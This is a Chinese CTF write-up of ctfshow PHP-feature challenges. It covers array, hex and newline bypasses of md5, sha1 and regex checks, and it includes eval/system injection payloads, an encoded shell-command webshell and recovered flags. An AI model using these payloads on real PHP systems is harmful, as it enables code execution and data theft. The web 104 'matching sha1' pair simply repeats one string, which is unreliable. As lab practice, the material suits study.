[CTF]ctfshow php特性

轻松加愉快??

get过滤[0-9]可以考虑数组绕过,就是get中?num[]=

指定特定数字值可考虑16进制绕过

正则匹配考虑%0a换行绕过

intval 考虑+space

函数highlight_file

web 97
post内容相同但是md5值不同
考虑使用对象,md5对数组的返回值是相同的

web 98
这jb在干啥

web 100
赋值优先级高于逻辑运算
?v1=1&v2=eval($_POST[1])?>&v3=;
1=system(“tac ctfshow.php”);
0x2d是啥,是-号的askii,替换即可
0fc19c4c-242e-4fc4-9d37-afcf0e9e2e42

web 101
反射是啥
?v0=1&v2=echo new Reflectionclass&v3=;
b9bc5a0a-19f8-4bcc-9b66-ad1e220f827
最后一位爆破,为何要爆破16次

web 102
构造妙中妙
16进制转字符串

16进制为115044383959474e6864434171594473
转为字符串PD89YGNhdCAqYDs
base64解码为<?=`cat *`;

php中的hex2bin函数能将16进制字符串转为2进制字符串
比较迷惑的一道题

web 104
让两个值的sha1相同
考虑传入数组
补充:
两个sha1相同的值
aaK1STfY 0e76658526655756207688271159624026011393

aaK1STfY 0e76658526655756207688271159624026011393

web 105
考察php中$$的使用
GET dog=flag
POST error=dog

web 106
v1, v2值不同但是sha1值相同
考虑数组绕过

web 107
函数 parse_str($str,$output)
将操作$output[‘first’]=
$output[‘arr’][0]=
函数md5()对数组操作为null
==两端同为null即可绕过

web 108
异常处理类相关

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值